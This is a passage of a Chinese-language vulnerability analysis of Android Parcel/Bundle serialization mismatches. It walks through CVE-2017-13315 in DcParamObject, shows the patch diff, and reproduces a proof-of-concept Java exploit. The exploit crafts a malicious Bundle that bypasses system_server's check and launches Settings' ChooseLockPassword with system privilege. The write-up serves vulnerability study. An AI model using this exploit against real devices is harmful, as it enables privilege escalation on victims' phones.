[3] key 的值:4100 2000 7000 6100 6400 6400 6900 6e00 6700
[3] Value的类型:0000 // VAL_STRING string 类型
[3] Value的长度:1300 0000
[3] Value的长度:7400 6f00 2000 6d00 6100 7400 ... 6300 6f00 7500 6e00 7400 0000
[1] key的大小为0还是会读出key的值,如下函数:
// frameworks/native/libs/binder/Parcel.cpp
status_t Parcel::readString16(String16* pArg) const
{
size_t len;
const char16_t* str = readString16Inplace(&len);
if (str) {
pArg->setTo(str, len);
return 0;
} else {
*pArg = String16();
return UNEXPECTED_NULL;
}
}
const char16_t* Parcel::readString16Inplace(size_t* outLen) const
{
int32_t size = readInt32();
// watch for potential int overflow from size+1
if (size >= 0 && size < INT32_MAX) {
*outLen = size;
// 当size为0时readInplace(4)
const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t));
if (str != NULL) {
return str;
}
}
*outLen = 0;
return NULL;
}
在第二次序列化之后多出 0000 0000 导致之后所有的解析都偏移0x4字节。示意图如下:
总结:
第一次反序列化后隐藏的key没有显示出来,然后序列化后再反序列化之后隐藏的key被解析显示了出来。只因为MyParcelable对象再序列化与反序列化时readInt与writeLong的不匹配导致多写了4字节的0,随后的反序列化中将key[0]后所有的内容都在原基础上增加4字节偏移。
案列:CVE-2017-13315
2018年5月份修复的CVE-2017-13315在DcParmObject类中。
https://android.googlesource.com/platform/frameworks/base/+/35bb911d4493ea94d4896cc42690cab0d4dbb78f
diff --git a/telephony/java/com/android/internal/telephony/DcParamObject.java b/telephony/java/com/android/internal/telephony/DcParamObject.java
index 139939c..fc6b610 100644
--- a/telephony/java/com/android/internal/telephony/DcParamObject.java
+++ b/telephony/java/com/android/internal/telephony/DcParamObject.java
@@ -36,7 +36,7 @@
}
public void writeToParcel(Parcel dest, int flags) {
- dest.writeLong(mSubId);
+ dest.writeInt(mSubId);
}
private void readFromParcel(Parcel in) {
DcParamObject问题是writeToParcel和readFromParcel 中,这会在序列化时多写一个0000.
public void writeToParcel(Parcel dest, int flags) {
dest.writeLong(mSubId);
}
private void readFromParcel(Parcel in) {
mSubId = in.readInt();
}
与上面学习的漏洞示例一样,这种写法会导致序列化与反序列化错位,进而影响第二次反序列化的解析,让隐藏的key-value出现,这种方式可以使之绕过第一次反序列化时的安全检测。
利用思路,构造一个App发送恶意的Bundle到Settings中,使系统两次序列化后错位从而控制Settings执行系统权限的操作。Bundle构造三个key-value,和之前一样将恶意的payload藏在第2个key的value中,第3个key-value只是用来占位的,随意填写。
示意图:
App发送的Bundle首先会到system_server中进行反序列化检查,这里是因为2013年的 error 7699048 打的补丁也称为 Launch AnyWhere。目的是防止第三方应用程序通过系统用户越权调用,system_server会验证应用的数字签名,验证成功则将包传输到IAccountManagerResponse.onResult(),并且通过IPC机制调用onResult(),二次对Bundle进行序列化。
private class Response extends IAccountManagerResponse.Stub {
public void onResult(Bundle bundle) {
Intent intent = bundle.getParcelable(KEY_INTENT);
if (intent != null && mActivity != null) {
mActivity.startActivity(intent);
}
...
}
...
}
二次序列化时会将隐藏在key[1]中value的payload给显示出来,所以在调用onResult() 函数时KEY_INTENT的值是存在的,又因为这个函数当前进程是系统用户所以会成功启动任意Activity,这相当于从用户权限提升至系统权限。这里再结合其它的组件就可以达到系统权限的写和读操作了。
二次序列化示意图:
网上的poc代码:
Bundle evilBundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel pcelData = Parcel.obtain();
// Manipulate the raw data of bundle Parcel
// Now we replace this right Parcel data to evil Parcel data
pcelData.writeInt(3); // number of elements in ArrayMap
/*****************************************/
// mismatched object
pcelData.writeString("mismatch");
pcelData.writeInt(4); // VAL_PACELABLE
pcelData.writeString("com.android.internal.telephony.DcParamObject"); // name of Class Loader
pcelData.writeInt(1);//mSubId
pcelData.writeInt(1);
pcelData.writeInt(6);
pcelData.writeInt(13);
//pcelData.writeInt(0x144); //length of KEY_INTENT:evilIntent
pcelData.writeInt(-1); // dummy, will hold the length
int keyIntentStartPos = pcelData.dataPosition();
// Evil object hide in ByteArray
pcelData.writeString(AccountManager.KEY_INTENT);
pcelData.writeInt(4);
pcelData.writeString("android.content.Intent");// name of Class Loader
pcelData.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(pcelData, null); // Uri is null
pcelData.writeString(null); // mType is null
pcelData.writeInt(0x10000000); // Flags
pcelData.writeString(null); // mPackage is null
pcelData.writeString("com.android.settings");
pcelData.writeString("com.android.settings.password.ChooseLockPassword");
pcelData.writeInt(0); //mSourceBounds = null
pcelData.writeInt(0); // mCategories = null
pcelData.writeInt(0); // mSelector = null
pcelData.writeInt(0); // mClipData = null
pcelData.writeInt(-2); // mContentUserHint
pcelData.writeBundle(null);
int keyIntentEndPos = pcelData.dataPosition();
int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos;
pcelData.setDataPosition(keyIntentStartPos - 4); // backpatch length of KEY_INTENT
pcelData.writeInt(lengthOfKeyIntent);
pcelData.setDataPosition(keyIntentEndPos);
Log.d(TAG, "Length of KEY_INTENT is " + Integer.toHexString(lengthOfKeyIntent));
///
pcelData.writeString("Padding-Key");
pcelData.writeInt(0); // VAL_STRING
pcelData.writeString("Padding-Value"); //
int length = pcelData.dataSize();
Log.d(TAG, "length is " + Integer.toHexString(length));
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);
bndlData.appendFrom(pcelData, 0, length);
bndlData.setDataPosition(0);
evilBundle.readFromParcel(bndlData);